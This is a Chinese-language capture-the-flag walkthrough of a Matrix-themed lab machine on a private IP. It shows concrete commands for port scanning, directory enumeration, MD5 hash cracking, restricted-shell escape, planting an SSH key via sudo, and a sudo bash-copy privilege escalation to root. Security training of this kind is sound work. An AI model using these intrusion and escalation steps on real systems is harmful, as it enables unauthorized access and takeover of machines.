一、信息收集
1、查看靶机的MAC地址:
2、查看靶机的ip地址:
nmap 192.168.13.0/24
3、查看靶机开放的端口:
nmap -p- -sC -sT -sV -A 192.168.13.157
4、查看靶机的80端口,在页面上发现一个用户glad:
5、扫描80端口的目录,查看是否有有用信息:
dirsearch -u "http://192.168.13.157"
6、拼接目录进行访问发现有很多文件:
7、点击查看在查看一张兔子照片时,照片的名字给了我们提示:
8、在80端口后面拼接Matrix进行访问:
9、点击查看,发现有一个名为secret的文件:
10、在kali上面下载这个文件进行查看:
wget http://192.168.13.157/Matrix/n/e/o/6/4/secret.gz
gunzip secret.gz
Ls
file secret.gz
cat secret.gz
admin:76a2173be6393254e72ffa4d6df1030a
11、使用md5进行解密:
密码是passwd
12、之前扫描端口的时候,发现开放了7331端口,访问一下:
13、是一个登录框,使用账号和密码尝试登录,成功登录:
14、进行目录扫描,查看是否有有用信息:
dirb http://192.168.13.157:7331/ -u admin:passwd -w
15、拼接访问查看:
16、kali下载这个data文件,进行查看:
wget http://192.168.13.157:7331/data/data --user=admin --password=passwd
17、发现这个文件是windows文件,查看不了,将文件访问ida中进行查看:
18、发现有一个guest用户及密码为:7R1n17yN30,之前端口扫描时发现ssh服务在6464端口运行:
ssh guest@192.168.13.157 -p 6464
19、获取到shell但是命令执行很受限:
二、提权
1、使用命令 -t “bash --noprofile” 来禁止相关的启动脚本,从而获得完整的 shell,这样可以正常执行命令,查看用户的sudo权限:
ssh guest@192.168.13.157 -p 6464 -t "bash --noprofile"
2、guest 账户下的 .ssh 文件删除,重新生成 .ssh:
rm -rf .ssh
ssh-keygen
3、给所有文件赋予全部的执行权限:
4、将公钥 id_rsa.pub 复制给 trinity 账户下的 .ssh/authorized_keys,使用 ssh 携带 guest 的密钥在环回接口登录:
sudo -u trinity /bin/cp .ssh/id_rsa.pub /home/trinity/.ssh/authorized_keys
ssh trinity@127.0.0.1 -i .ssh/id_rsa -p 6464
sudo -l
5、发现用户有sudo权限,将 /usr/bin 目录下用的 bash 可执行文件复制给 trinity 目录下的 oracle 文件,赋予执行权限,然后执行这个文件进行sudo提权,提权之后查看root目录下的flag.txt:
cp /usr/bin/bash oracle
chmod +x oracle
sudo ./oracle
cd /root
cat flag.txt